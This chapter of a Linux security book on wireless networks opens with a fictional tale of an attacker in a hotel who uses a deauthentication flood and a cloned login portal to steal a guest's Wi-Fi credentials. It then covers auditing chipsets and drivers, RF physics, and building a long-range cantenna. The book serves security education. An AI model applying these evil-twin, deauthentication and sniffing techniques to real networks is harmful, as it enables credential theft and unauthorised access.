CASE STUDY The following is a hypothetical, but technically accurate, tale of what may happen during your next business trip.... Time: 1923hrs GMT+7 Location: Room 320, Radisson Hotel, Bangkok Jones Wong pulled up a chair in his hotel room and collapsed into it. He had already had a long day and his work wasn’t finished yet. Jones’ company had sent him to Bangkok on yet another business development trip, and he spent his first day making the rounds and meeting up with various suppliers and customers. Now Jones had to send a report back to his boss at the company’s regional headquarters in Malaysia and that required getting hold of that very ubiquitous resource: an Internet connection. Fortunately, the Radisson, like countless other business-oriented hotels around the world, had kindly installed wireless access points on every floor for the convenience of its guests. Jones now wished to use this wireless access to send out his email report. Of course, nothing is free in this world nowadays and the hotel charged its guests a notinsubstantial fee for using this service. Jones called the front desk and obtained a user ID and corresponding password, all conveniently billed to his room (on the company account, of course). Plugging his laptop’s power-brick into the nearest electrical socket, he powered it on and proceeded to go about his business.... Time: 1927hrs GMT+7 Location: Room 311, Radisson Hotel, Bangkok In a dimly lit room, a figure was hunched over a laptop, intently observing the screen. Julian (callsign “HammerJammer”) checked the display and then leaned back in his chair, apparently waiting for something to happen. The HammerJammer was on a tight budget and had been unable to get a cheap room at the nearby Maxx. This had forced him to try the more up-market Radisson, and due to it being tourist season, the room cost an arm and a leg, so he was in no mood to shell out yet more dough for Internet access. However, he was now confronted with that same old case of “no money, no honey,” and it didn’t help matters that HJ was old-school—he believed that Internet access should be free for everyone. So he did what any self-respecting hac..err...security professional would do: He whipped out his on-board, Atheros-equipped laptop and fired her up. HJ was looking for someone who had deep pockets, specifically someone who had paid for the hotel’s wireless Internet access. Changing his Atheros card to monitor mode, he launched Airodump. Because the Radisson was a bit out-of-the-way, he couldn’t locate any access points nearby (let alone unsecured ones) outside of what the hotel provided. So the Hammer had to do the next best thing: Find a connected (no pun intended) individual and get his or her login credentials. A change in the laptop display caught his attention and a wry smile appeared on his face.
216
Time: 1928hrs GMT+7 Location: Room 320, Radisson Hotel, Bangkok Jones was right in the middle of composing his email when his cellphone rang. Nuts. His wife was calling so he had to take the call. You see, Jones felt a bit like a hen-pecked road warrior and that his wife didn’t really trust him—what with all the frequent overseas trips. What she didn’t know was that she was giving the Hammer a helping hand... Time: 1929hrs GMT+7 Location: Room 311, Radisson Hotel, Bangkok Having identified the wireless client’s signal strength, its proximity to the access point, and the relative positions of the other access points in the building, HJ knew that his ph00ling attack had a pretty good chance of succeeding. He brought out his Compex WL54G wireless adapter and slotted it into his laptop’s PCMCIA slot. Together with the on-board Atheros, this effectively upgraded the laptop into the wireless equivalent of a double-barreled shotgun. Associating to the access point (AP) with his Atheros card, the Hammer proceeded to rip the hotel’s Service Selection Gateway web pages and save them to his laptop. Some quick modifications followed and, along with a customized Airsnarf/Apache install, the Hammer now had a fully functional web-login site, complete with legit-looking error pages. It was literally a mirror copy of the hotel’s web login pages. Swapping the Atheros to master mode, HJ ran a deauthentication flood against the AP that Jones’ laptop was associated with, as well as against Jones’ laptop itself. Time: 1930hrs GMT+7 Location: Room 320, Radisson Hotel, Bangkok As he was talking to his wife, Jones noticed that his wireless connection seemed to break momentarily, and then appeared to reconnect again. However, he had to re-login to the hotel’s web login page in order to connect to the Internet. He entered his user ID and password, but got an error page saying the server was having difficulties and could he please try to log in at a later time. Maybe this was a hiccup so he clicked the Back button in his browser and tried again. No dice—the error page appeared again. Time: 1931hrs GMT+7 Location: Room 311, Radisson Hotel, Bangkok HJ grinned broadly; the client had been forced off the legit AP by his deauthentication flood and had now locked onto his Atheros card (operating at maximum power) as the strongest signal source bearing the hotel’s SSID. The DHCP server on his laptop had done the rest and all the client would see would be his fake website. The Hammer did a localhost mail-check and found two...no, now three emails bearing the login credentials. Each time the client had entered his user ID and password, the fake site had Sendmail’ed the details locally to HJ’s laptop. He quickly deactivated both his Atheros and Prism54 cards and opened up the emails....
217
Time: 1931hrs GMT+7 Location: Room 320, Radisson Hotel, Bangkok A slightly annoyed Jones tried entering his credentials again, and this time he was able to get through. “Must have been some problem with their server,” he mused and then mentally tossed that thought out the window as he got back to drafting his report. Time: 1933hrs GMT+7 Location: Room 311, Radisson Hotel, Bangkok HJ was humming an off-key tune as he disconnected his Prism54 card. Having gotten the credentials, temporarily changing his Atheros’ MAC address was trivial (in the highly unlikely chance the hotel had security experts on the payroll and came knocking on his door). He logged in to the portal with the stolen information and start surfing the Web. Fortunately, as is typically the case with most hotel’s Internet access, the hotel didn’t limit the number of simultaneous logins per user ID so both Jones and the HammerJammer happily went about doing their own thing, each oblivious to the actions of the other. And so life goes on... (HammerJammer’s note: This story, while describing accurate technical procedures and using accurate geographical information, is completely, unequivocally, 100 percent fictional, and the events and actions did not actually happen in real life. However, this is not to say that it will never happen to you whenever you use any kind of paid wireless Internet service....)
218
Chapter 8:
Wireless Networks
A
s the preceding story suggests, wireless has penetrated so far into our everyday lives that hardly a day passes by that we don’t use some form of wireless technology. From wireless Internet access in homes and offices to wireless communications between Earth and geosynchronous satellites, we are increasingly reliant on radio frequency (RF)–based wireless communications for modern telecommunications and networking. Some examples of this increasing reliance are • 802.11- and 802.16-based wireless Internet access • Bluetooth-enabled phones, PDAs, and hand-held devices • RFID-based inventory and shipment tracking • Military land, sea, and air communications
THE STATE OF THE WIRELESS Wireless technology has undoubtedly increased the convenience factor for daily living. On the flip side, it has also introduced new risks and threats. In this chapter on wireless networking, we’ll look at the various ways Unix-based systems, including Linux-based hosts, can be used as auditing platforms as well as being audited themselves. In particular, we’ll focus on one particular wireless technology called 802.11 (or WiFi as it is more commonly known) from the viewpoint of how you can use Linux to secure as well as audit your organization’s wireless network. For more information on full spectrum wireless testing, which includes all RF communication and EMR emanations from business and military operations, see the OSSTMM and the OWSE at http://www.isecom.org.
Hacking Setup: Linux-Native Chipsets and Drivers Popularity:
7
Simplicity:
8
Impact:
9
Risk Rating:
8
Everyone who is used to working with wireless cards and drivers under a Windowsbased operating system (OS) environment would assume that what works under Windows also works under Linux. To date, most people, even “technical” folk, assume that any wireless card will work under Linux. This would be true for the everyday enduser who doesn’t need to access the more esoteric operational modes and functionality that an auditor needs. Anyone who uses Linux to conduct wireless hacking/auditing for their organization or for third parties will have to do a fair bit of research and development before purchasing a wireless card that will support their hacking/auditing requirements. Why is this the case? The answer is simple: It doesn’t matter if a wireless card is made by Linksys, Dlink, Netgear, or whoever puts their brand name on the box. What matters most is what’s under the hood, i.e., the chipset that drives the beast called the wireless network interface card (WNIC). However, big problems surface when shopping for a
219
220
Hacking Exposed Linux: Linux Security Secrets & Solutions
WNIC: How do you know what chipset is being used for a particular make and model? The big brands don’t exactly want to tell you what’s under the hood because what sets one guy apart from the other is branding. If the consumer knows that card A and card B have the same chipset, then he or she no longer has a reason to pay any premium price based on brand name. The only logical reason to pay a premium price is for any additional capabilities offered by the chipset (in conjunction with the relevant drivers, of course). Having said that, we will take a closer look at the major chipset manufacturers offering Linux-driver support at the time of writing. We’ll ignore obsolescent Orinoco or Prism 2/2.5/3 cards because these cards are no longer carried by your average retail store (they are, however, still available in secondhand stores or occasionally on EBay if anyone is interested). Instead, we’ll look at those chipsets that are more likely to be found on the shelves of computer shops today. Before delving into that listing though, here’s a word to the wise for anyone purchasing a WNIC: Regardless of whether the WNIC matches the listing below or not, choose one with a chipset that has native driver support—this means an open-source or a vendorprovided driver that works directly in the Linux environment, without needing any kind of third-party software “wrapping” (providing an abstraction layer) around the driver and interfacing between the driver and the OS. In the following pages, we have outlined some chipset/driver combos that are native and others that require a third-party wrapper to work. We won’t get into any mundane discussion about the merits of 802.11n vs. 802.11g vs. 802.11b vs. 802.11a, as that topic has been beaten to death by online reviewers; our focus is helping you get a WNIC that works natively under Linux. And contrary to what many people think, including some self-proclaimed “experts” who advise people on what they think a hacker would be interested in, a real pro would absolutely have to know this level of fundamental information about his or her hardware in order to use it effectively. Owning a gun and not knowing how to load bullets is analogous to the self-professed “hacker” who doesn’t know the ins and outs of the wireless hardware he or she uses. So this section is mandatory for those who want to get maximum auditing mileage out of their wireless hardware.
Atheros and MADwifi/MADwifi-ng One of the more common and capable chipsets around are the neat WNICs made by Atheros. The various Atheros chipsets, for example, AR5001X, AR5002X, AR5004X/G, and AR5213, are all supported natively under Linux using the open-source Multiband Atheros Driver for Wireless Fidelity (otherwise known as MADwifi). The drivers and documentation are downloadable from the MADwifi project page at http://madwifi.org. MADwifi actually has two flavors: the original MADwifi and the newer MADwifi-ng (next generation). One of the most observable differences between the two versions is how the cards are configured using commands. The original MADwifi uses the Linux wireless-tools command iwconfig almost exclusively to perform actions like setting the mode (e.g., managed and ad hoc). However, MADwifi-ng uses a bundled command, wlanconfig, which has more convoluted syntax. Instead of using iwconfig ath0 mode master
Chapter 8:
Wireless Networks
you use wlanconfig wifi0 destroy wlanconfig create wlandev wifi0 wlanmode master
Notice that the new command references a logical wifi0 interface rather than the traditional ath0 interface. Under the new MADwifi-ng drivers, all traffic is actually run through the virtual wifi0 interface, although commands like iwconfig still use the actual interface reference ath0. Thus, wireless applications such as Kismet would actually use the wifi0 interface to receive traffic. The reason for using this different command set (wlanconfig vs. iwconfig) to set the card’s mode is due in part to new driver code developed and made available by Atheros to the MADwifi developers for integration with the original MADwifi code. Unfortunately, backporting the new Atheros code into the original MADwifi codebase is easier said than done because the new code differs a lot. This is how MADwifi-ng came into being. The Atheros/MADwifi-ng combination allows users to access the full range of modes: master, monitor, managed, and ad hoc. This makes an Atheros-based card very desirable from an auditor’s standpoint as he or she can effectively audit both the wireless access point (AP) and the wireless client. An interesting thing that the discovers of the WCCD vulnerability, Chris Low and Julian Ho, noted after conducting wireless sniffing and probe-mapping tests against Atheros-based cards running under Windows is that many, if not all, of them issue large numbers of spurious hexadecimal characters embedded in the SSID tag of probe request frames. This gives the illusion that the client has many profiles set up under Windows. This is one way of telling that a particular client is using an Atheros-based chipset as this behavior seems to be consistent irrespective of whether a USB, PCI, or PCMCIA form factor is used, suggesting the behavior is tied to the chipset itself. Some vendors like Planex are affixing the Atheros label to the cover stickers of their cards to facilitate identification of the chipset as being an Atheros chipset. As far as we are concerned, this is a good thing! Examples of Atheros-based cards include the Planex GW-NS54SG (PC-Card), the SMCWPCI-G (PCI), and the SparkLAN WMIA-123AG (mini-PCI for laptops).
Conexant PrismGT and the Prism54 Project Another capable chipset is Conexant’s Prism GT chipset. First some history: the Prism family, which includes the Prism 2, 2.5, and 3 chipsets, was sold by originators Intersil to GlobespanVirata in 2003, which then merged with Conexant that same year. The opensource drivers that enable Linux aficionados to access the full capabilities of this chipset come from the Prism54 project (http://www.prism54.org). Unlike the Atheros/MADwifing combination mentioned previously, the Prism54 drivers rely only on the Linux Wireless-Tools package (iwconfig, iwpriv, etc.) to configure the card fully. However, unlike the Atheros/MADwifi-ng combo, you must consider whether any wireless card bearing a Prism chipset is a FullMAC or a SoftMAC card.
221
222
Hacking Exposed Linux: Linux Security Secrets & Solutions
FullMAC Cards FullMAC cards require firmware to be loaded into the WNIC. This file, which can be found at the prism54.org website, is placed in either the /usr/lib/hotplug/ firmware or the /lib/firmware directories depending on which particular Linux distribution is being used. You have to rename the file as isl3890. You also need to modify the /etc/modprobe.conf file by entering the following line: alias islpci_cb
After making the modification, you load the firmware by typing /sbin/modprobe prism54. SoftMAC Cards Due to cost-cutting measures, the FullMACs have pretty much been replaced by the SoftMACs. Unlike the FullMAC implementation where the entire 802.11 medium access control (MAC) functions are handled by the firmware, the SoftMACs offload part of the FullMAC’s medium access control (MAC) functions to the host. This results in less hardware being required per card and thus lowers production costs. All USB devices bearing any variant of the Prism chipset are SoftMAC devices. While PCMCIA cards are more likely to be FullMACs, e.g., Compex WL54Grev0 or Netgear WG511v1, this is by no means guaranteed: Caveat emptor (“let the buyer beware”) applies.
Ralink RT2400/2500/2570 and Serialmonkey’s RT2x00 Unlike the previous two chipsets, the Ralink/RT2x00 combo currently does not offer master mode. Thus, you can’t set the WNIC to work as an AP. However, it works just fine in monitor mode so this combo is still good for basic wireless auditing work with tools such as the Aircrack-ng suite and Kismet. The open-source driver project for the Ralink chipset can be downloaded at http://rt2x00.serialmonkey.com, and the site has good driver support documentation as well as discussion/help forums.
Intel Centrino and IPW2200 Probably the most common wireless chipset on the planet, the Intel Centrino-branded wireless adapters use the open-source drivers developed under the IPW2200 project at http://ipw2200.sourceforge.net. However, the Centrino/IPW2200 chipset/driver combination does not offer master mode at the time of writing, putting it in the same category as the Ralink/RT2x00. A separate driver project that enables master mode is underway at http:// sourceforge.net/projects/ipw2200-ap, but this driver is separate, meaning you’ll have to load both on your Linux box if you need to operate using all modes. For those on pre-Centrino Intel wireless hardware, i.e., the IntelPRO/Wireless2100 chipset, you can get your Linux drivers at http://ipw2100.sourceforge.net. The Centrino is a little more crippled than the preceding chipsets because, although it allows monitor mode, the native drivers currently do not allow frame-injection, which limits its usefulness in wireless auditing.
Chapter 8:
Wireless Networks
Other Wireless Chipsets and NDISwrapper/Driverloader Many modern and readily available 802.11g-capable wireless chipsets, made by various parties such as Broadcom and Texas Instruments, are floating around. However, we advise the Linux user to avoid these as native Linux support is patchy (i.e., they don’t have monitor- or master-mode-capable drivers) at the time of writing. About the only use for them is for normal enduser connectivity and, even then, only if you use them in conjunction with a third-party wrapper such as NDISwrapper or Linuxant Driverloader. What NDISwrapper and Driverloader do is enable Linux endusers to use their WNIC’s Windows drivers (every WNIC in production ships with Windows drivers unfortunately) in a Linux environment. You do this by “wrapping” NDISwrapper or Driverloader around the Windows driver so that it acts as an abstraction layer between the Windows driver, which doesn’t know how to talk to the Linux OS, and the Linux OS itself. The “wrappers” then translate instructions between the OS and the Windows drivers, effectively enabling you to use a WNIC irregardless of whether an open-source driver is specifically designed for the WNIC or not. Sounds great, right? There’s a problem: no monitor or master mode, only the enduser managed and ad hoc modes. This is because the Windows drivers that the WNIC manufacturers issue for the majority of WNICs typically do not enable these two modes under Windows. Unless an independent Windows-based driver project is established to support these modes in a Windows-driver package, wrapper-users in Linux remain stuck with the relatively limited capabilities of the Windows drivers. Thus, to get the full chipset capability enabled by a native driver, we recommend getting any of the chipset/ driver combos discussed in the previous sections and ditch trying to use Windows drivers in a Linux environment.
Chipset and Driver Links Some of you may be aware of other Linux-capable wireless chipsets that are not mentioned here (Zydas 1211, for example), and you may be wondering why. Since many people do not want to waste time hunting for an obsolescent or no-longer-produced chipset, we don’t cover those chipsets without a significant presence in the market or whose makers are no longer functioning as going-concerns. Case in point: Zydas was bought out by Atheros in August 2006. Of course, you can find these more obscure chipsets if desired. At this point, you may ask, “How do you know which particular WNIC contains which particular chipset?” Although trial-and-error purchasing and testing is an option, this is an expensive way to do things! So we’ve made things a little easier by listing the open-source driver projects for the chipsets mentioned in the preceding pages. These projects have lists of what cards have been found to contain the chipsets that work with the various open-source drivers: Atheros Reference Design Linux driver
http://madwifi.org/wiki/UserDocs/GettingMadwifi
Hardware list
http://madwifi.org/wiki/Compatibility
223
224
Hacking Exposed Linux: Linux Security Secrets & Solutions
http://ipw2200.sourceforge.net/downloads.php http://sourceforge.net/projects/ipw2200-ap (to run in AP mode)
Hardware list
Any laptop bearing the Intel Centrino sticker (Note: Laptops produced circa 2007 and later might instead be using the Intel 3945 wireless chipset, successor to the 2200)
Ralink RT2400 / RT2500 / RT2570 / RT73 Linux driver
Zydas 1211 USB-based 802.11b/a/g WNIC Linux driver
http://zd1211.ath.cx
Hardware list
http://zydas.rapla.net http://zd1211.ath.cx
Defending Against Attackers Using Linux-Native Chipsets and Drivers Linux-native-supported wireless chipsets and drivers are absolutely necessary for attackers to have on hand before they can conduct any sort of attack. However, because chipsets and drivers are tied to physical hardware, the only way to stop attackers from physically using their equipment is to deny them access to that equipment in the first place. This entails • Drying up the supply of Linux-native-supported wireless chipsets • Stopping the development of the Linux-native wireless drivers that enable the use of the hardware in Linux
Chapter 8:
Wireless Networks
• Running RF- or protocol-based denial-of-service (DoS) attacks against the attacker’s hardware The first two are simply not practical, given the profit motive of hardware manufacturers who want to ensure their product is adopted under as many platforms as possible, as well as the distributed nature of open-source software development. The third action, although technically possible, is practically impossible because you first have to identify the attacker. If all the attacker is doing is passively sniffing the air, you would have no warning or indication this was happening as it’s not generating any traffic. Even if you manage to identify the hacker in mid-attack, launching an RF-based DoS attack against the attacker would kill any other legitimate transmissions using the same frequency band as the attacker. Therefore, only a protocol-based DoS attack is a plausible defense. Be aware, however, of legal issues in your country because incorrect targeting of what appears to be an attacker in conjunction with the type of protocol-based DoS attack used (e.g., 802.11 management frame deauthentication/disassociation or 802.11 control-frame CTS/RTS attacks) may cause what is called collateral damage (i.e., the harming of innocent bystanders). This may give rise to legal liability and criminal prosecution under certain jurisdictions since DoS-type attack activities are considered illegal in some countries.
WIRELESS HACKING PHYSICS: RADIO FREQUENCY After understanding the hardware a hacker would use to go about his or her business, you need to understand what is it about the 802.11 wireless transmission medium (which can also be applied to other wireless technologies) that enables hackers to detect signals or inject their own signals into the wireless spectrum. The purpose of doing this is either to obtain information or conduct hacking activity from a location outside the physical premises where the target wireless network is located.
Exploiting Radio Frequency Popularity:
2
Simplicity:
4
Impact: Risk Rating:
10 5
Radio frequency is the transmission medium over which 802.11 rides. If the medium is hacked, whatever it carries is disrupted, much like how torpedoing an ocean liner would probably kill many people onboard. So, if 802.11 is a train, then radio frequency (RF) is the rail tracks on which the train rides. RF is electromagnetic radiation that is either induced or radiated when an electrical current passes through an antenna, which is a device designed to emit or receive electromagnetic waves. All the higher-level protocols such as 802.11 (WiFi), 802.15 (Bluetooth), and 802.16 (WiMax) are embedded in
225
226
Hacking Exposed Linux: Linux Security Secrets & Solutions
the electromagnetic energy pulses that emanate from antennae. Thus, understanding the characteristics of RF is essential to understanding how hackers can conduct RF-based exploits. RF exists as a waveform signal with frequency and amplitude and is subject to noise and other forms of signal loss (attenuation). In practical terms, this is evident when a WNIC simply moves out of range of the AP it was previously associated with. The AP’s electromagnetic energy emitted from its antenna that reaches the WNIC’s antenna has been degraded to the point where it becomes unrecognizable to the WNIC that is trying to decode the received signal. Thus, the operating system of the laptop housing the WNIC reports “no signal” because the embedded higher-layer protocol information is no longer recognizable to the signal processing algorithm on the WNIC. To understand why an RF signal degrades and what causes degradation, let’s look at some of the terms just mentioned in a little bit more detail.
The Impact of Frequency and Wavelength on Offense and Defense The frequency of a RF signal is simply how often the signal repeats or “cycles” in a given time period, often measured as one second. Frequency is inversely related to the length of the RF waveform, i.e., the distance an RF wave travels over a given time period (its wavelength). The higher the frequency of a given RF signal, the shorter the wavelength and vice versa. Figure 8-1 shows the pattern of an RF waveform as well as the concept of wavelength. Thus, an AP emitting an RF signal at a frequency of 2.412 GHz will produce an RF wavelength that, in one second, repeats itself 2,412,000,000 times. To be able to repeat itself within the distance traveled in 1 second (electromagnetic signals are emitted at the speed of light, which is 3 × 108 meters per second), its wavelength must be relatively short. In this example, it is 12.437 cm. You can derive the wavelength for any given frequency via the following formula: Wavelength = Speed of Light * (1/Frequency)
Thus, the wavelength of an AP configured to use channel 1 operating at 2.412 GHz = (3 × 108) * (1/(2412000000)) = 0.12437 m = 12.437 cm. Now why is this important? Suppose you know the wavelength of a given signal (e.g., 2.4 GHz). With that information, you can design and build a cantenna (more on this later) that allows you to detect and sniff wireless traffic at ranges far in excess of the socalled 100-meter-bubble, which most people assume is the maximum coverage of a wireless access point. This means that the attacker can stay out of visual range and outside of your physical perimeter and still be able to hack away at your wireless infrastructure. Or consider a wireless network administrator who wishes to restrict the RF from extending beyond a certain physical boundary. Apart from lowering the transmit power of the wireless device, he or she can also surround the boundary with a good-contact wire mesh that has a spacing between the mesh wire, which is less than half the wavelength of the frequency to attenuate, or weaken, the signal, the degree of which will be dependent among other things on the spacing.
Chapter 8:
Wireless Networks
Figure 8-1 RF waveform pattern showing wavelength and amplitude
The Stronger the Signal, the Easier the Hack: Amplitude For RF and other forms of electromagnetic energy, amplitude is indicative of the strength of the electric field of the waveform and thus the strength/intensity of the emitted signal. The greater the amplitude, the stronger the signal strength as the intensity of an electromagnetic wave is directly proportional to the square of the amplitude. Amplitude indicates to an attacker that a particular signal is strong when it reaches his or her antenna. This means the encoded higher-layer protocol (e.g., 802.11), which is embedded inside the signal, is easier to decode, meaning sniffing the air will be easier. If the amplitude of the RF signal can be reduced by the administrator of the wireless device, then an attacker’s WNIC would have a much harder time decoding the embedded protocol(s). Assuming the wireless hardware is configurable, the defender can do this by limiting the power output of the RF transmitter, e.g., reducing it from 30 mW to 1 mW.
Non-Protocol-Based Denial-of-Service: Noise From the viewpoint of RF, noise is undesirable interference affecting a desired signal that alters its carrier properties and that is propagated by manmade and/or natural sources. In simple terms, it means that an RF signal is disrupted to an extent that a WNIC can’t decode the information embedded in the signal. Noise can be intentional, such as ECM jamming during a military engagement, or it can be unintentional, such as a microwave interfering with an AP’s signal. Whatever the case, the effect is still the same—the signal is degraded. Higher-layer protocols attempt to encode data into the RF signal using various algorithms such as Direct Sequence Spread Spectrum (DSSS) or Orthogonal Frequency Division Multiplexing (OFDM) so that the receiving station can decode the information from the received signal at higher levels of signal degradation, thus making the wireless communication exchange more
227
228
Hacking Exposed Linux: Linux Security Secrets & Solutions
resistant to the effects of noise and signal attenuation. However, such encoding schema only go so far and invariably a point comes where no amount of encoding will defeat the impact of noise and attenuation on a given signal. An attacker who launches a denial-of-service (DoS) attack using RF to generate noise against a wireless target will disrupt that wireless target in such a way that higher-layer protocols cannot correct for because the attacker is targeting the transmission or carrier medium (e.g., generating raw harmonic noise in the 2.4 GHz spectrum), not the higher-layer protocol (e.g., 802.11 deauthentication/disassociation frame flood).
Loss of Connectivity: Attenuation Attenuation is the reduction in the amplitude (or strength) of a signal and is caused by many factors: obstacles in the path of the RF wave, the natural resistance of the atmosphere through which the RF wave travels, link-joint imperfections, and so on. Even if an obstacle does not block a signal completely, a signal may get attenuated by means of reflection, refraction, or absorption when it meets the obstacle. If the signal is reflected, it bounces off at an angle equal to the angle of incidence. If the signal is refracted, it passes through the obstacle but its path is altered. If the signal is absorbed, it is dissipated as thermal energy within the obstacle. In many cases, all three effects may occur to the same stream of RF energy hitting an obstacle. Figure 8-2 shows the differences between reflection, refraction, and absorption. Also, as a signal goes through the air medium, it suffers free-space loss, which is the natural attenuation that the air as a transmission medium imposes on any RF signal traveling through it. There is a form of attenuation called multipath fading. When an RF wave takes multiple routes or paths to arrive at a receiver, it often arrives out-of-phase (out of sync). This means the given signal arrives at the receiver at different times and causes the signal to weaken when received by the receiver. Multipath fading is especially common in heavily builtup urban environments like office floors that have corridors and cubicles. When all the various types of attenuation are combined, they form an aggregate attenuation value called path loss. This is the total amount of signal degradation, measured in decibels (dB), that is imposed on an RF signal by its transmission medium and the
Figure 8-2 Reflection, refraction, and absorption
Chapter 8:
Wireless Networks
environment it goes through to get to the receiver, even including the link-joint loss between the receiver’s antenna and the receiver’s signal-processing hardware. From a hacker’s perspective, the attacker would try to reduce the amount of attenuation caused by the various factors in an attempt to get better RF signal reception from the target. The attacker is also helped by the fact that RF diffracts. Diffraction is the ability of an RF signal to bend around obstacles in its path to the receiver. Whether a given signal is able to do this depends on its wavelength vis-à-vis the size or diameter of the obstacle encountered. The longer the wavelength relative to the diameter of the obstacle, the easier it is to propagate around the obstacle. This is why you can often receive an AP’s signal from behind a sign-post or small tree that is positioned between the signal receiver and the AP. Understanding the causes of attenuation allows the attacker to reposition himself or herself accordingly—to move closer to a signal source or reposition in such a manner that he or she has line-of-sight to the signal source so that the only attenuation encountered is free-space loss. As you can see, many factors complicate whether an attacker can get a signal strong enough to extract the encoded data successfully. Ultimately, at the point of reception, an attacker is looking for a strong signal-to-noise ratio (SNR). This is a measurement of how good the quality of any received signal is at the point of reception, given the environmental noise and attenuation it suffers. Attackers would also try to augment their reception and transmission capabilities by employing hardware aids, such as external antennas.
RF Hacker Improvement Kit: Antennas and Gain Often, a attacker is not able to get a signal strong enough to decode the embedded communications protocol successfully. This is where the attacker applies his or her understanding of the concept of gain and that corresponding application of the proper antenna type to enhance signal reception and transmission. For a signal to be received or transmitted, it has to go through an antenna. An antenna serves to radiate or collect RF energy and can be omnidirectional or directed. An omnidirectional antenna is a device that radiates a signal in all directions. Theoretically speaking, it does not favor any direction. However, most so-called omnidirectional antennae on store shelves today are of the monopolar/half-wave dipolar variety and thus have a toroidal or doughnut-shaped emission pattern and a semi-blind/blind spot, depending on distance directly above the vertical axis of the antenna. Directed antennae are devices with high-gain in a particular direction. Gain is the amount of RF you are favoring in a particular direction. It is a measure of directionality and is measured in dBi or decibels over isotropic. Isotropic refers to the theoretical perfectly spherical emission pattern of a purely theoretical antenna that radiates equally in all directions. Isotropic antenna cannot physically exist. Instead, they are used as theoretical comparators with real-world antenna types. Thus, an antenna with a 10 dBi gain would have a longer, more torpedo-like shape toward a particular direction compared with an antenna with a relatively more doughnut-like 3 dBi omnidirectional. Among the different types of directed antennae are the Yagi-Uda and the parabolic antennae. Developed by Hidetsugu Yagi and Shintaro Uda, the Yagi-Uda design is best exemplified by the TV aerials common on the rooftops of houses and apartment blocks in many countries. The makeup of a Yagi-Uda is reflected in Figure 8-3.
229
230
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 8-3 Yagi-Uda antenna design
The Yagi-Uda design seeks to direct the RF signal along the boom axis out to the front of the antenna. With directionality of this nature, the RF footprint looks something like that shown in Figure 8-4.
Figure 8-4 Yagi-Uda antenna RF footprint
Chapter 8:
Wireless Networks
Obviously, the Yagi-Uda can shoot a RF signal much farther in a specific direction than an omnidirectional antenna. However, this is clearly at the expense of all-around coverage. From the Linux enthusiast’s point of view, he or she can use a Yagi-Uda to provide network connectivity by reliably bridging two Linux boxes, configured as routers, via their master-mode-enabled WNICs, sited at separate locations up to 1.5 km from each other. Alternatively, a long-range audit of a wireless network can be effected using tools that are mentioned in the next section. Like the Yagi-Uda, a parabolic antenna is a directional antenna. However, it has a much narrower beamwidth. Consequently, the narrower beamwidth results in a parabolic design, gain-for-gain, typically outranging the Yagi-Uda. An example of the performance envelope of a parabolic is the fact that parabolics are mounted on spacecraft to communicate with Earth-based controllers and used on naval warships for surveillance and fire-control (see Figure 8-5). As the beamwidth is much narrower, boresighting the antenna becomes even more critical. Let’s take a look at how a hacker would build an external cantenna.
Figure 8-5 Parabolic grid antennas on U.S.S. Enterprise CVN-65 (photo courtesy of Julian “HammerJammer” Ho)
231
232
Hacking Exposed Linux: Linux Security Secrets & Solutions
Building a Cantenna With a little bit of engineering and some fabrication attempts, anyone can make an effective 14 dB extended-range antenna. Since DIY (do-it-yourself) antennas frequently use tin cans in their construction, as shown in Figure 8-6, they are generically called cantennas. In this section, we’ll walk you through constructing your own cantenna. First you’ll need to gather some tools. For this project, we recommend that you beg, borrow, or buy the following items, which are easily obtainable from most local hardware stores: • Needle-nose pliers • Wire-stripper/cutter • Sharp-point nippers • Spanner or adjustable wrench • Hex-crimper • Heavy-duty scissors • Soldering iron with needle-nose solder tip and solder • 30-cm ruler • Dremel rotary tool (optional but can decrease your build time considerably and make for a cleaner-looking cantenna)
Figure 8-6 Cantenna example (photo courtesy of Julian “HammerJammer” Ho)
Chapter 8:
Wireless Networks
For the raw materials, obtain the following: • Tin cans of the same diameter and size (total number used depends on diameter of can) • MC connectors or SMA connectors (depending on your WNIC or AP antenna jack) • N-female panel mount (4-hole) or N-female bulkhead connector with N-male crimp connector (depending on your build preference) • Two meters of shielded wire (any type will do but it must be shielded cable— RG6 or RG58 is perfectly acceptable) • Epoxy-putty or compound (not super glue!) • Hex nut for screwing onto a standard camera tripod • Nylon cable ties • Plastic electrical socket box (the white plastic enclosure that fits into the wall recess behind the faceplate of a standard UK 3-pin 13A electrical socket, approximately 2.5 in. × 2.5 in. × 1.5 in. deep; U.S, wall-recess socket boxes should have similar dimensions) Step 1: Making the Body Take measurements of the can diameter using a ruler. The cantenna is built around a mathematical equation that calculates the quarter wavelength of the frequency at which you intend to operate the cantenna. This quarter-length point is where you insert your antenna wire into the tin can. A total length measurement also specifies how long the entire length of the cantenna should be. You are likely to have to connect two or more cans together, depending on the can diameters. Most typical supermarket cans are around 3 to 4 inches in diameter. 3.25-in. diameter canned-fruit tins with grooved tops (so the tins stack nicely on top of each other) are the best compromise between performance and portability. Depending on the height of each can, you will most likely need to use three such cans. Remove the top from one of them and leave the metal base intact to form the quarter end of the cantenna. Remove both the top and the base of the other two cans to form the rest of the cantenna body. As far as the mathematical calculations of the quarter and full lengths are concerned, you can refer to ThinkSECURE’s cantenna calculator at http://securitystartshere.org/pagetraining-oswa-cantenna-calculator.htm. Mark out the quarter point from the bottom of the tin can forming the rear end of the cantenna with your scissors or pliers (just scratch an x on the can’s exterior). Then make a hole in the can, the hole’s center being in the middle of the x you just marked, using the nippers, or better yet, a Dremel, to make the hole. This hole should be wide enough for your connector to fit into snugly. You should test the fit as you go along. Figure 8-7 depicts this process. Some people use potato-chip tubes (e.g. the “Pringles” Cantenna) for the cantenna body. However, a Pringles or other potato-chip cardboard tube has too small a diameter to make it a really efficient cantenna. You also want to ensure that the cantenna material
233
234
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 8-7 Measure and drill hole for antenna connector (photo courtesy of Julian “HammerJammer” Ho).
